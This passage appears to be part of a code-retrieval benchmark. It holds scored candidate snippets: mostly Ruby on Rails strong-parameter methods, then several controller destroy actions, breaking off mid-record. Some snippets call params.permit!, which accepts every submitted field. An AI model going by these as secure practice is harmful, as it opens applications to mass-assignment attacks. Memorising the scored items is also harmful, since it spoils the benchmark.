"76d85c76686ef87239ba8207d6d631e4", "score": "0.61075777", "text": "def param_params\n params.require(:param).permit(:param_category_id, :param_table_id, :name, :english_name, :weighting, :description)\n end", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6098469", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "2b19f8222e09c2518b0d19b4bf1f69d3", "score": "0.6075921", "text": "def list_params\n params.permit(:list_name)\n end", "title": "" }, { "docid": "aabfd0cce84d7f71b1ccd2df6a6af7c3", "score": "0.60526955", "text": "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "title": "" }, { "docid": "4f20d784611d82c07d49cf1cf0d6cb7e", "score": "0.603815", "text": "def all_params; end", "title": "" }, { "docid": "5a96718b851794fc3e4409f6270f18fa", "score": "0.60347056", "text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end", "title": "" }, { "docid": "ff7bc2f09784ed0b4563cfc89b19831d", "score": "0.60295635", "text": "def source_params\n params.require(:source).permit(all_allowed_params)\n end", "title": "" }, { "docid": "2032edd5ab9475d59be84bdf5595f23a", "score": "0.60174835", "text": "def get_allowed_parameters\n return _get_specific_action_config(:allowed_action_parameters, :allowed_parameters)&.map(&:to_s)\n end", "title": "" }, { "docid": "6c615e4d8eed17e54fc23adca0027043", "score": "0.6017036", "text": "def user_params\n end", "title": "" }, { "docid": "c59ec134c641678085e086ab2a66a95f", "score": "0.6015412", "text": "def permitted_params\n @wfd_edit_parameters\n end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "7402112b5e653d343b91b6d38c203c59", "score": "0.60150516", "text": "def params; end", "title": "" }, { "docid": "b98f58d2b73eac4825675c97acd39470", "score": "0.60045695", "text": "def param_whitelist\n whitelist = [\n :comment,\n :old_progress, :new_progress,\n :metric_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:metric_id)\n end\n \n whitelist\n end", "title": "" }, { "docid": "a8faf8deb0b4ac1bcdd8164744985176", "score": "0.60030454", "text": "def user_params\r\n end", "title": "" }, { "docid": "0cb77c561c62c78c958664a36507a7c9", "score": "0.6000111", "text": "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "title": "" }, { "docid": "7b7196fbaee9e8777af48e4efcaca764", "score": "0.59959006", "text": "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "title": "" }, { "docid": "be95d72f5776c94cb1a4109682b7b224", "score": "0.5994559", "text": "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "title": "" }, { "docid": "70fa55746056e81854d70a51e822de66", "score": "0.5993364", "text": "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.598529", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "e4c37054b31112a727e3816e94f7be8a", "score": "0.5982867", "text": "def get_params\n\t\t\n\t\treturn ActionController::Parameters.new(self.attributes).permit(:first_name, :last_name, :email, :provider)\n\n\tend", "title": "" }, { "docid": "2202d6d61570af89552803ad144e1fe7", "score": "0.59763765", "text": "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "title": "" }, { "docid": "4d77abbae6d3557081c88dad60c735d0", "score": "0.5974676", "text": "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "title": "" }, { "docid": "55d8ddbada3cd083b5328c1b41694282", "score": "0.596933", "text": "def params_permit\n params.permit(:id)\n end", "title": "" }, { "docid": "a44360e98883e4787a9591c602282c4b", "score": "0.5965601", "text": "def allowed_params\n params.require(:allowed).permit(:email)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59644663", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.59644663", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "4e758c3a3572d7cdd76c8e68fed567e0", "score": "0.5956998", "text": "def filter_params\n params.permit(*resource_filter_permitted_params)\n end", "title": "" }, { "docid": "b48f61fbb31be4114df234fa7b166587", "score": "0.59518063", "text": "def specialty_params\n\t\tparams.require(:specialty).permit(*Specialty::DEFAULT_ACCESSIBLE_ATTRIBUTES)\n\tend", "title": "" }, { "docid": "3154b9c9e3cd7f0b297f900f73df5d83", "score": "0.59499884", "text": "def community_params\n params.permit(:profile_image, :name, :description, :privacy_type, :viewed_by, {tags: []}, {features: []}, {admins: []}, :members, :location, :beacon, :creator, :ambassadors, :current_events, :past_events, :feed, :category, :address, :allow_member_post_to_feed, :allow_member_post_to_events)\n end", "title": "" }, { "docid": "c4802950f28649fdaed7f35882118f20", "score": "0.5947578", "text": "def authorize_params\n super.tap do |params|\n %w[display scope auth_type].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end", "title": "" }, { "docid": "5d64cb26ce1e82126dd5ec44e905341c", "score": "0.59442806", "text": "def feature_params_filter\n params.require(:feature).permit(:name, :cat, :lower, :upper, :opts, :category, :description, :company, :active, :unit, :icon)\n end", "title": "" }, { "docid": "7fa620eeb32e576da67f175eea6e6fa0", "score": "0.59297687", "text": "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "title": "" }, { "docid": "da4f66ce4e8c9997953249c3ff03114e", "score": "0.5929034", "text": "def argument_params\n params.require(:argument).permit(:name)\n end", "title": "" }, { "docid": "f7c6dad942d4865bdd100b495b938f50", "score": "0.59260684", "text": "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "title": "" }, { "docid": "9892d8126849ccccec9c8726d75ff173", "score": "0.59240746", "text": "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "title": "" }, { "docid": "be01bb66d94aef3c355e139205253351", "score": "0.5918179", "text": "def property_params\n params.permit(:name, :is_available, :is_approved, :owner_id)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.59177524", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "d6bf948034a6c8adc660df172dd7ec6e", "score": "0.5913775", "text": "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "title": "" }, { "docid": "eb5b91d56901f0f20f58d574d155c0e6", "score": "0.59130466", "text": "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "title": "" }, { "docid": "822c743e15dd9236d965d12beef67e0c", "score": "0.59058845", "text": "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "title": "" }, { "docid": "a743e25503f1cc85a98a35edce120055", "score": "0.5904616", "text": "def sequence_param_whitelist\n default_param_whitelist << \"show_index\"\n end", "title": "" }, { "docid": "c6a96927a6fdc0d2db944c79d520cd99", "score": "0.5903243", "text": "def parameters\n nil\n end", "title": "" }, { "docid": "533048be574efe2ed1b3c3c83a25d689", "score": "0.5902212", "text": "def resource_filter_permitted_params\n raise(NotImplementedError, 'resource_filter_permitted_params method not implemented')\n end", "title": "" }, { "docid": "02a61b27f286a50802d652930fee6782", "score": "0.58988374", "text": "def normal_params\n reject{|param, val| param_definitions[param][:internal] }\n end", "title": "" }, { "docid": "3683f6af8fc4e6b9de7dc0c83f88b6aa", "score": "0.5897978", "text": "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "title": "" }, { "docid": "238705c4afebc0ee201cc51adddec10a", "score": "0.58975065", "text": "def special_device_list_params\n params.require(:special_device_list).permit(:name)\n end", "title": "" }, { "docid": "d493d59391b220488fdc1f30bd1be261", "score": "0.5894596", "text": "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "title": "" } ]
c25846ebb824e986ac6554cc37845930
Convenience method to determine the particular options this model delivers
[ { "docid": "344a14012ca0eef6850cb9dda9a925a2", "score": "0.0", "text": "def delivers?(opt)\n self.class.delivery_options.include?(opt.to_s)\n end", "title": "" } ]
[ { "docid": "d48f0f3f204455c16b217a15dabd2d6e", "score": "0.74831164", "text": "def options\n self.class.meta[:options]\n end", "title": "" }, { "docid": "bd05089e3cfc678ca5ebeba29a17958e", "score": "0.72850066", "text": "def get_options; end", "title": "" }, { "docid": "6180a8600482a935bbc6e265647e317e", "score": "0.718468", "text": "def options\n @options[:options]\n end", "title": "" }, { "docid": "0b758c9c05c31af0163bba2ba898a9a8", "score": "0.7131618", "text": "def options\n data.options\n end", "title": "" }, { "docid": "e9590c5afc98dd97148e84048c9ec06c", "score": "0.707595", "text": "def supported_options; end", "title": "" }, { "docid": "e9590c5afc98dd97148e84048c9ec06c", "score": "0.707595", "text": "def supported_options; end", "title": "" }, { "docid": "e9590c5afc98dd97148e84048c9ec06c", "score": "0.707595", "text": "def supported_options; end", "title": "" }, { "docid": "079a017420d1ee0129786049557fa6db", "score": "0.7065728", "text": "def options\n @options\n end", "title": "" }, { "docid": "079a017420d1ee0129786049557fa6db", "score": "0.7065728", "text": "def options\n @options\n end", "title": "" }, { "docid": "ab87cdc35a981ba4ee2c509df0ea167a", "score": "0.7033085", "text": "def options\n @options\n end", "title": "" }, { "docid": "3d32a774f6f24fbce67d3a0925927d98", "score": "0.7030075", "text": "def supports_options?\n end", "title": "" }, { "docid": "d9fe7ff7c11f09e447f7a8556da95052", "score": "0.70297533", "text": "def options?; end", "title": "" }, { "docid": "d9fe7ff7c11f09e447f7a8556da95052", "score": "0.70297533", "text": "def options?; end", "title": "" }, { "docid": "d9fe7ff7c11f09e447f7a8556da95052", "score": "0.70297533", "text": "def options?; end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7009179", "text": "def options\n @options\n end", "title": "" }, { "docid": "19aa6a04338992c4fcbea81880af3cd9", "score": "0.7008355", "text": "def options\n @options\n end", "title": "" }, { "docid": "ff220466f8403b18c38cc40f165a259a", "score": "0.7004708", "text": "def options()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "a0a867a228d4b572ad54885897aa1b8e", "score": "0.699938", "text": "def specific_options\n config.specific_options\n end", "title": "" }, { "docid": "6a9c58ccb64121b37feb67cec9379710", "score": "0.69902396", "text": "def options!\n @fields.keys.find_all { |key| @fields[key].is_a? Option }\n end", "title": "" }, { "docid": "4ec5d4dd79cf2b437acebe635400d516", "score": "0.6975119", "text": "def options\n @options\n end", "title": "" }, { "docid": "4ec5d4dd79cf2b437acebe635400d516", "score": "0.6975119", "text": "def options\n @options\n end", "title": "" }, { "docid": "4ec5d4dd79cf2b437acebe635400d516", "score": "0.6975119", "text": "def options\n @options\n end", "title": "" }, { "docid": "4ec5d4dd79cf2b437acebe635400d516", "score": "0.6975119", "text": "def options\n @options\n end", "title": "" }, { "docid": "561d5845c8890e5e345aa47b0cff4ed0", "score": "0.6944416", "text": "def options()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "889f5717201c8af1b39e8bd5d1c77736", "score": "0.6922966", "text": "def meaningful_options\n @meaningful_options ||= meaningful_attributes[name]\n end", "title": "" }, { "docid": "6044782cefa45d2f60e71bb8d4fe0280", "score": "0.691289", "text": "def valid_options; end", "title": "" }, { "docid": "3292ab247ca439bbfb47ed4fff7d1464", "score": "0.68987143", "text": "def options\n self.class.options\n end", "title": "" }, { "docid": "97f98d448615543e08cc4d064097f4d8", "score": "0.6893399", "text": "def get_model_options\n to_be_overridden 'by the model-specific Concern'\n end", "title": "" }, { "docid": "b201662825aa5fd82813aa6b13e422c5", "score": "0.68747103", "text": "def model_options\n @model_options ||= get_model_options\n end", "title": "" }, { "docid": "96a19e89043d7ed30c7c52575fb44856", "score": "0.686762", "text": "def extractable_options?; end", "title": "" }, { "docid": "96a19e89043d7ed30c7c52575fb44856", "score": "0.686762", "text": "def extractable_options?; end", "title": "" }, { "docid": "96a19e89043d7ed30c7c52575fb44856", "score": "0.686762", "text": "def extractable_options?; end", "title": "" }, { "docid": "96a19e89043d7ed30c7c52575fb44856", "score": "0.686762", "text": "def extractable_options?; end", "title": "" }, { "docid": "fe1925cc7a2c446267a6721e1b89b233", "score": "0.6866932", "text": "def options()\n @options\n end", "title": "" }, { "docid": "a03b2f6badbfadfbebfa1d461d35438e", "score": "0.6846758", "text": "def options\n properties.options\n end", "title": "" }, { "docid": "17eda51e1c920483aac6155303826995", "score": "0.68325883", "text": "def supports_options?\n return true\n end", "title": "" }, { "docid": "7665bc4f2e2977a1260832a01d7df6a1", "score": "0.6803853", "text": "def options\n return @options\n end", "title": "" }, { "docid": "ef2903f8ccc75f0f2d352091e354c45f", "score": "0.67888093", "text": "def allowed_options\nend", "title": "" }, { "docid": "f888454fa7ae21364bc52fe66930ad70", "score": "0.6787535", "text": "def attributes\n @options\n end", "title": "" }, { "docid": "f8d05e6970322e6fb2c9738e99b6ceec", "score": "0.67870724", "text": "def options\n @options.values\n end", "title": "" }, { "docid": "495419ea568ab1c50e1d8023645231e6", "score": "0.6784502", "text": "def options() end", "title": "" }, { "docid": "a3587f6f5c30787ba932379a9d26c14e", "score": "0.678227", "text": "def option\n @option\n end", "title": "" }, { "docid": "aad185267f45093743cf6d8a1fe45883", "score": "0.6778597", "text": "def get_model_options\n Manifest::Options.new(request_parameters)\n end", "title": "" }, { "docid": "6770515c00bb54df4af698b5a4c5b3c8", "score": "0.67579156", "text": "def options\n self\n end", "title": "" }, { "docid": "664ef6f920f564d348c0c307e30d1bfe", "score": "0.67446667", "text": "def mandatory_options\r\n self.class.mandatory_options\r\n end", "title": "" }, { "docid": "33e5ac7ba6ae037bc1f8e5e2546f2faa", "score": "0.67248887", "text": "def options\n end", "title": "" }, { "docid": "33e5ac7ba6ae037bc1f8e5e2546f2faa", "score": "0.67248887", "text": "def options\n end", "title": "" }, { "docid": "33e5ac7ba6ae037bc1f8e5e2546f2faa", "score": "0.67248887", "text": "def options\n end", "title": "" }, { "docid": "0f08fe35bab001cf9af4267935bcfc53", "score": "0.668427", "text": "def options\n @options ||= self.class.options\n end", "title": "" }, { "docid": "0f08fe35bab001cf9af4267935bcfc53", "score": "0.668427", "text": "def options\n @options ||= self.class.options\n end", "title": "" }, { "docid": "0f08fe35bab001cf9af4267935bcfc53", "score": "0.668427", "text": "def options\n @options ||= self.class.options\n end", "title": "" }, { "docid": "c916ec01c7bc2870cce0a88e790d97f5", "score": "0.667242", "text": "def options\n @options ||= enum || inclusion_validator&.options&.dig(:in)\n end", "title": "" }, { "docid": "c843efbc3419a2dfa1ef652d8fe05f17", "score": "0.6664585", "text": "def options\n [self]\n end", "title": "" }, { "docid": "30cece1b722f5361d23871594daa6861", "score": "0.6661297", "text": "def valid_options\n @@valid_options\n end", "title": "" }, { "docid": "9c557f07fa3a5e421bd755530c756337", "score": "0.66563123", "text": "def options\r\n Hash[ @options ]\r\n end", "title": "" }, { "docid": "d3161089af8eb88f2db15ace379ac23d", "score": "0.6651602", "text": "def flextures_options\r\n @options\r\n end", "title": "" }, { "docid": "e350e1630b5ec9b7c93542a65f816a8c", "score": "0.6625845", "text": "def options\n @@options\n end", "title": "" }, { "docid": "e350e1630b5ec9b7c93542a65f816a8c", "score": "0.6625845", "text": "def options\n @@options\n end", "title": "" }, { "docid": "1c39a1317aaec92c1647674d3c878b05", "score": "0.6608055", "text": "def options\n @@options\n end", "title": "" }, { "docid": "8db16bcab5bad96a37dda348a5c547ba", "score": "0.6600683", "text": "def options\n @options ||= Options.new self.class.dry_initializer.attributes(self)\n end", "title": "" }, { "docid": "a5dd23d7c86fcb4035d462902e81de66", "score": "0.65862954", "text": "def options(opt); end", "title": "" }, { "docid": "a5dd23d7c86fcb4035d462902e81de66", "score": "0.65862954", "text": "def options(opt); end", "title": "" }, { "docid": "a5dd23d7c86fcb4035d462902e81de66", "score": "0.65862954", "text": "def options(opt); end", "title": "" }, { "docid": "55dd0531c05843bd22d3334a2ab2134b", "score": "0.6564181", "text": "def options?\n @fields.key?(:options) && @fields[:options].sz.positive?\n end", "title": "" }, { "docid": "a9ae6cedac7de3e94ff30f4d5efb2c74", "score": "0.65479714", "text": "def options\n\t\t\tHash[VALID_OPTIONS_KEYS.map { |key | [key, send(key)] }]\n\t\tend", "title": "" }, { "docid": "b10e26783f49d49e242b4d4be6668269", "score": "0.653122", "text": "def get_field_options(field_meta)\n options_lists = get_model_options(field_meta[:model_name])\n # TODO: decide if list should just be key'd off of name, or a :options value?\n options = options_lists[field_meta[:name].to_sym]\n\n=begin\n options = {\n# '' => '--None--',\n 'inactive' => 'One',\n 'warning' => 'Two',\n 'error' => 'Three',\n 'good' => 'Four',\n }\n=end\n options\n end", "title": "" }, { "docid": "43de7e046a7602a0c5b1b539ce9fa94e", "score": "0.6530826", "text": "def do_options\n end", "title": "" }, { "docid": "bf087995cb2be401b434adef4e4c17c2", "score": "0.6530352", "text": "def OPTIONS\n @@OPTIONS\n end", "title": "" }, { "docid": "67dd77bec33d990a2462e1cf1dee2e20", "score": "0.65302247", "text": "def optionable_specified_options\n @optionable_specified_options ||= {}\n end", "title": "" }, { "docid": "46237a957ab2bc23652f0dcfe8560219", "score": "0.6520374", "text": "def field_options\n object.options\n end", "title": "" }, { "docid": "593de3814fc958ba8c278a7710a068b2", "score": "0.65179837", "text": "def options\r\n @options ||= {}\r\n end", "title": "" }, { "docid": "c9972e7131712657a505bb4e485268e6", "score": "0.6508886", "text": "def opt_list\n self.class.opt_list\n end", "title": "" }, { "docid": "4afdda3131bf1ca592ec2dca6b83a72f", "score": "0.649687", "text": "def options\n settings.options\n end", "title": "" }, { "docid": "34623acbdaa0eb35dd6884acaba77032", "score": "0.64843905", "text": "def options # :nodoc:\n return @options\n end", "title": "" }, { "docid": "ffeef13fc3ff2371fd8ba6cd64713dea", "score": "0.64837563", "text": "def options?\n method == 'OPTIONS'\n end", "title": "" }, { "docid": "7636567175d710a848291116ae2322ff", "score": "0.6480118", "text": "def options?\n method == \"OPTIONS\"\n end", "title": "" }, { "docid": "8e338c79537cb66479bb800f9b1c8e36", "score": "0.6461364", "text": "def optionshash\n @options\n end", "title": "" }, { "docid": "52a223dff25a78429491ce61d2a879e5", "score": "0.64487505", "text": "def dynamic_options\n # should be overridden by including in model\n {}\n end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.6439905", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" }, { "docid": "711b44c4f487bac2449db3191172dfa2", "score": "0.64397687", "text": "def options; end", "title": "" } ]
56e218e76dc370016fe85216f413df6c
DELETE /marcas/1 DELETE /marcas/1.xml
[ { "docid": "efc4591327107469501b4b63b6482685", "score": "0.7039998", "text": "def destroy\n @marca = Marca.find(params[:id])\n @marca.destroy\n\n respond_to do |format|\n format.html { redirect_to(marcas_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
[ { "docid": "29c23d2214fc5d6ea0838effb28e240a", "score": "0.67628396", "text": "def destroy\n @tipo_marca = TipoMarca.find(params[:id])\n @tipo_marca.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_marcas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9afde4e5680ee0aa34772905e1bfa658", "score": "0.6591663", "text": "def destroy\n @misale = Misale.find(params[:id])\n @misale.destroy\n\n respond_to do |format|\n format.html { redirect_to(misales_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b9d1a5dc5c944dfdef016c342183e812", "score": "0.65382683", "text": "def destroy\n @scrap_xml = ScrapXml.find(params[:id])\n @scrap_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(scrap_xmls_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9846637d0ae6885670376b94f721287c", "score": "0.6513719", "text": "def destroy\n @reporte_marca = ReporteMarca.find(params[:id])\n @reporte_marca.destroy\n\n respond_to do |format|\n format.html { redirect_to(reporte_marcas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f652b9b9af589a5e20da45b920fd40aa", "score": "0.6507894", "text": "def destroy\n @correspondencia = Correspondencia.find(params[:id])\n @correspondencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(correspondencias_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "faa9e5141e69d3a2d5a9188024e7b46f", "score": "0.650242", "text": "def destroy\n @dependencia = Dependencia.find(params[:id])\n @dependencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(dependencias_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3369bcd289df04abd637e7b798703940", "score": "0.64937913", "text": "def destroy\n @referencia = Referencia.find(params[:id])\n @referencia.destroy\n\n respond_to do |format|\n format.html { redirect_to(referencias_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "df26116eb86dbadafed7137f9e3c2f9e", "score": "0.64576244", "text": "def delete!\r\n return nil unless exists? \r\n xml = xml_at_top\r\n par = xml.instance_variable_get(:@parent) \r\n par['delete'] = 'delete'\r\n xml_on_delete( xml )\r\n rsp = write_xml_config!( xml.doc.root )\r\n @has[:_exist] = false\r\n true # rsp ... don't return XML, but let's hear from the community...\r\n end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.6454686", "text": "def delete(path);end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.6454686", "text": "def delete(path);end", "title": "" }, { "docid": "b95414af19596497f21489806c99b7b4", "score": "0.64494556", "text": "def destroy\n @almacenescierre = Almacenescierre.find(params[:id])\n @almacenescierre.destroy\n\n respond_to do |format|\n format.html { redirect_to(almacenescierres_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "371a5d3fc0bfb26c9d719c1a6b7692fb", "score": "0.64314795", "text": "def destroy\n @acceso = Acceso.find(params[:id])\n @acceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(accesos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "20b47ba73efc4ba48e999ef936e67de7", "score": "0.6425588", "text": "def destroy\n @receta = Receta.find(params[:id])\n @receta.destroy\n\n respond_to do |format|\n format.html { redirect_to(recetas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "5545e745decd90fb7a992a6c979edb98", "score": "0.6423891", "text": "def destroy\n @matricula = @crianca.matriculas.find(params[:id])\n @matricula.destroy\n\n respond_to do |format|\n format.html { redirect_to crianca_matriculas_url(@crianca) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fcf0fa86db2cf222b4b7017c7a2d0a1a", "score": "0.6418377", "text": "def folder_delete(path)\n make_request(:delete,\"#{folders_url(path)}.xml\")\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.6416391", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "e589b7b7ade244266cb3b71168dbf6ab", "score": "0.63995016", "text": "def destroy\n @condclima = Condclima.find(params[:id])\n @condclima.destroy\n\n respond_to do |format|\n format.html { redirect_to(condclimas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "48079a2a0e81f5b230cbcab10eeec67e", "score": "0.6382873", "text": "def del\n @status1 = Status1.find(params[:id])\n @status1.destroy\n\n respond_to do |format|\n format.html { redirect_to(status1s_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "fcd7427675f556bfd646ff87aa92797f", "score": "0.6373775", "text": "def destroy\n @raca = Raca.find(params[:id])\n @raca.destroy\n\n respond_to do |format|\n format.html { redirect_to(racas_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f835adbfffd77d06801907605d85f6e3", "score": "0.63719594", "text": "def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to(recursos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f835adbfffd77d06801907605d85f6e3", "score": "0.63719594", "text": "def destroy\n @recurso = Recurso.find(params[:id])\n @recurso.destroy\n\n respond_to do |format|\n format.html { redirect_to(recursos_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a662b5723f25d42eba50b7a90c37b883", "score": "0.6369015", "text": "def delete(path, arguments = {})\n Mavenlink.logger.note \"Started DELETE 